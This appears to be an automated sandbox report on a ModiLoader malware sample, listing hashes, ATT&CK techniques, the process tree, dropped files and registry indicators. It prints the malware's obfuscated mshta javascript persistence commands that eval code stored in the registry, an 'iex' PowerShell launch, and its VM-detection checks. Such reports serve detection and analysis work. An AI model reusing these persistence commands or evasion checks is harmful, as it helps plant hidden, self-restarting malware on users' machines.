modiloader | 47963ee2984195e177c97ed877dba7aa93e5782be760b051d7b871f9f760abba

Analysis

max time kernel
150s
max time network
148s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
25/11/2024, 01:01

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General

Target

9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe
Size

362KB
MD5

9844fe526c6f8dcc88b2f2b1b24cb69f
SHA1

90f729f821e2dd07be6276e402f59e669cae0d1f
SHA256

47963ee2984195e177c97ed877dba7aa93e5782be760b051d7b871f9f760abba
SHA512

e39c186d8a24aba6fd1869d2396ca0f4a448ac0c1b0880b9822ce60d853f87e91df49c999ff9b7989e4b2054ca150d4a640272cd36efd7f401ab4875c08f689b
SSDEEP

6144:w9Rw3qG27nk2rgtY6OovshIgIJx3bDupFJmbli8WXluN:w03P2zknVELIJx33eTuwXo

Score

10^/10

modiloader discovery evasion execution persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modiloader family
modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2308	2072	mshta.exe	31

Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs

evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 63 IoCs

resource	yara_rule
behavioral1/memory/2036-5-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2036-4-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2036-2-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2036-10-0x0000000001D80000-0x0000000001E5A000-memory.dmp	modiloader_stage2
behavioral1/memory/2036-9-0x0000000001D80000-0x0000000001E5A000-memory.dmp	modiloader_stage2
behavioral1/memory/2036-8-0x0000000001D80000-0x0000000001E5A000-memory.dmp	modiloader_stage2
behavioral1/memory/2036-7-0x0000000001D80000-0x0000000001E5A000-memory.dmp	modiloader_stage2
behavioral1/memory/2036-6-0x0000000001D80000-0x0000000001E5A000-memory.dmp	modiloader_stage2
behavioral1/memory/2036-11-0x0000000001D80000-0x0000000001E5A000-memory.dmp	modiloader_stage2
behavioral1/memory/2036-12-0x0000000001D80000-0x0000000001E5A000-memory.dmp	modiloader_stage2
behavioral1/memory/1816-18-0x0000000006140000-0x000000000621A000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-19-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-20-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/1816-22-0x0000000006140000-0x000000000621A000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-24-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-26-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-38-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-42-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-45-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-52-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-55-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-61-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-51-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-50-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/1816-21-0x0000000002C90000-0x0000000004C90000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-41-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-40-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-39-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-37-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-36-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-44-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-76-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-81-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-80-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-79-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-78-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-77-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-75-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-74-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-73-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-72-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-71-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-70-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-69-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-68-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-67-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-66-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-65-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-64-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-63-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2892-62-0x0000000000280000-0x00000000003C7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-43-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-34-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-33-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-32-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-31-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-29-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-28-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-27-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-25-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-23-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-35-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2
behavioral1/memory/2096-30-0x0000000000160000-0x00000000002A7000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

pid	Process
2096	regsvr32.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\73d17.lnk	regsvr32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\40f1f\\06a2c.lnk\""	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:s1Cmrk=\"c\";x7M7=new%20ActiveXObject(\"WScript.Shell\");ge6iUuQr=\"CjM7m\";LYo4R=x7M7.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\ecvowu\\\\hcid\");DsIFMGP4=\"nVFIJUD\";eval(LYo4R);AoT8x=\"XLK02\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:tNc61zH=\"89vQdpA7\";wM2=new%20ActiveXObject(\"WScript.Shell\");L1kmD4=\"w\";xoaT2=wM2.RegRead(\"HKCU\\\\software\\\\ecvowu\\\\hcid\");ff8FQiJ=\"Niu\";eval(xoaT2);GNYa6w3Dv=\"8jS\";"	regsvr32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1816	powershell.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 108 set thread context of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 1816 set thread context of 2096	1816	powershell.exe	36
PID 2096 set thread context of 2892	2096	regsvr32.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\5c73d	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\5c73d\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\5c73d\shell\open	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\5c73d\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\5c73d\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:d2nSn=\"La\";GJ76=new ActiveXObject(\"WScript.Shell\");Fp69eh=\"xiQe7J\";Ux5tV=GJ76.RegRead(\"HKCU\\\\software\\\\ecvowu\\\\hcid\");j3ihhA=\"auEUH\";eval(Ux5tV);f6tC2N=\"7jQjjwc\";\""	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\.4949d1	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\.4949d1\ = "5c73d"	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1816	powershell.exe
1816	powershell.exe
1816	powershell.exe
1816	powershell.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe
2096	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1816	powershell.exe
2096	regsvr32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1816	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 108 wrote to memory of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 108 wrote to memory of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 108 wrote to memory of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 108 wrote to memory of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 108 wrote to memory of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 108 wrote to memory of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 108 wrote to memory of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 108 wrote to memory of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 108 wrote to memory of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 108 wrote to memory of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 108 wrote to memory of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 108 wrote to memory of 2036	108	9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe	30
PID 2308 wrote to memory of 1816	2308	mshta.exe	33
PID 2308 wrote to memory of 1816	2308	mshta.exe	33
PID 2308 wrote to memory of 1816	2308	mshta.exe	33
PID 2308 wrote to memory of 1816	2308	mshta.exe	33
PID 1816 wrote to memory of 2096	1816	powershell.exe	36
PID 1816 wrote to memory of 2096	1816	powershell.exe	36
PID 1816 wrote to memory of 2096	1816	powershell.exe	36
PID 1816 wrote to memory of 2096	1816	powershell.exe	36
PID 1816 wrote to memory of 2096	1816	powershell.exe	36
PID 1816 wrote to memory of 2096	1816	powershell.exe	36
PID 1816 wrote to memory of 2096	1816	powershell.exe	36
PID 1816 wrote to memory of 2096	1816	powershell.exe	36
PID 2096 wrote to memory of 2892	2096	regsvr32.exe	37
PID 2096 wrote to memory of 2892	2096	regsvr32.exe	37
PID 2096 wrote to memory of 2892	2096	regsvr32.exe	37
PID 2096 wrote to memory of 2892	2096	regsvr32.exe	37
PID 2096 wrote to memory of 2892	2096	regsvr32.exe	37
PID 2096 wrote to memory of 2892	2096	regsvr32.exe	37
PID 2096 wrote to memory of 2892	2096	regsvr32.exe	37
PID 2096 wrote to memory of 2892	2096	regsvr32.exe	37

C:\Users\Admin\AppData\Local\Temp\9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:108
- C:\Users\Admin\AppData\Local\Temp\9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\9844fe526c6f8dcc88b2f2b1b24cb69f_JaffaCakes118.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2036

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:miBFyEc4="l";b3c6=new%20ActiveXObject("WScript.Shell");rAN6sX="Di9P2a";I1BQV=b3c6.RegRead("HKCU\\software\\xGoRFrLZl\\N32BmA");ezLu4="Gg4nW";eval(I1BQV);svk0YhV="m";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:qvjmovl
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Looks for VirtualBox drivers on disk
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Drops startup file
    - Adds Run key to start application
    - Maps connected drives based on registry
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2096
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

File and Directory Discovery

T1083

Peripheral Device Discovery

T1120

Query Registry

T1012

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\40f1f\05156.4949d1

Filesize
14KB

MD5
8327bbe3ba28d5db6fa03539d123a5ff

SHA1
817dae87347d41575a76503f1c177efdc59f92dc

SHA256
069ad8ae3fb857eada6a2b05ad51bf6947e9acbe9dd3dd480901180bc9d0632b

SHA512
938e403246c47e63de7a8ceae3788d8f559c0bd6a80b42a36af29a09384b7dbb4c185886d958801c74f5d433e90bb55addbab77f3a7c42453b10b4fe3dbae5bb

Download Submit
C:\Users\Admin\AppData\Local\40f1f\06a2c.lnk

Filesize
865B

MD5
760ff48b0683849e15333fba1709dffa

SHA1
a92a2190c0d66d7d1956050d97e13aa53eb3624a

SHA256
1f3ee3b5f0f7aac6da1934f0cb8b5de00e82f45419508ecb7d9026d53ef415d5

SHA512
4ecc38d83968ead9bf7c0265b8145695c5852171ff887b5ec2d26af87215f3d4c646c4670b12089280375c5e83ece129ff7aae6152524591afcf34f3707ab4b8

Download Submit
C:\Users\Admin\AppData\Local\40f1f\af12c.bat

Filesize
58B

MD5
b70faaf69e2afb58ef4de8781a863b68

SHA1
ab33592a989491b1f0108a7f4bf967fcdc5a3db3

SHA256
63550c0aa8db376b68b5d93872846ce51857d962a1c8b6c84176d9580b5fc032

SHA512
f52332df75e9fbcf219094d438be61d63053b077b5e2c577d0fa30fe2d9bd262d3673e76072a651f184d8940ee904aca1191bacf21a7b8c970e326131c28b9a0

Download Submit
C:\Users\Admin\AppData\Roaming\3dce6\2e2f1.4949d1

Filesize
23KB

MD5
0bce1331783d7e0903457fc43b5d9bc2

SHA1
754ad812ff06dfe46e1bd70a21bd72bd1aeb9acf

SHA256
98920eca8c20a2b0fe920514a2e08dbb14f5e5960974370914039123d406665d

SHA512
211b4acdbb2ce28c36c270f91dd4447d7430f68038f4f165fbb762ae8f43539ddad5d27a33435a6505a8d2427e6549b8edfebef46ec379f74cd20b754a29d571

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\73d17.lnk

Filesize
981B

MD5
233abea8c167a41d644b5c290299ca5f

SHA1
33f64ad732a3e775d0a7630b80dbbe1864e6bfce

SHA256
42dc443e21a964d8998f4ff04c1de7f0e28fbdb08821b7bc406b3e5a658169b8

SHA512
11e368f50ccfc54b621fcd2aa5238c2ff5b76b8488e440dd535a85ac000ed35637fd4af01163cee1ad19aa0f3acb8e8a7e1ee71079a1b45f4ba6677dc0f5f663

Download Submit
memory/1816-18-0x0000000006140000-0x000000000621A000-memory.dmp

Filesize
872KB

Download
memory/1816-21-0x0000000002C90000-0x0000000004C90000-memory.dmp

Filesize
32.0MB

Download
memory/1816-22-0x0000000006140000-0x000000000621A000-memory.dmp

Filesize
872KB

Download
memory/2036-9-0x0000000001D80000-0x0000000001E5A000-memory.dmp

Filesize
872KB

Download
memory/2036-12-0x0000000001D80000-0x0000000001E5A000-memory.dmp

Filesize
872KB

Download
memory/2036-11-0x0000000001D80000-0x0000000001E5A000-memory.dmp

Filesize
872KB

Download
memory/2036-6-0x0000000001D80000-0x0000000001E5A000-memory.dmp

Filesize
872KB

Download
memory/2036-7-0x0000000001D80000-0x0000000001E5A000-memory.dmp

Filesize
872KB

Download
memory/2036-8-0x0000000001D80000-0x0000000001E5A000-memory.dmp

Filesize
872KB

Download
memory/2036-10-0x0000000001D80000-0x0000000001E5A000-memory.dmp

Filesize
872KB

Download
memory/2036-2-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2036-4-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2036-5-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2096-34-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-20-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-55-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-61-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-51-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-50-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-45-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-41-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-40-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-39-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-37-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-36-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-44-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-52-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-19-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-43-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-24-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-26-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-38-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-30-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-35-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-23-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-25-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-27-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-28-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-29-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-31-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-32-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-33-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2096-42-0x0000000000160000-0x00000000002A7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-76-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-63-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-62-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-64-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-65-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-66-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-67-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-68-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-69-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-70-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-71-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-72-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-73-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-74-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
memory/2892-75-0x0000000000280000-0x00000000003C7000-memory.dmp

Filesize
1.3MB

Download
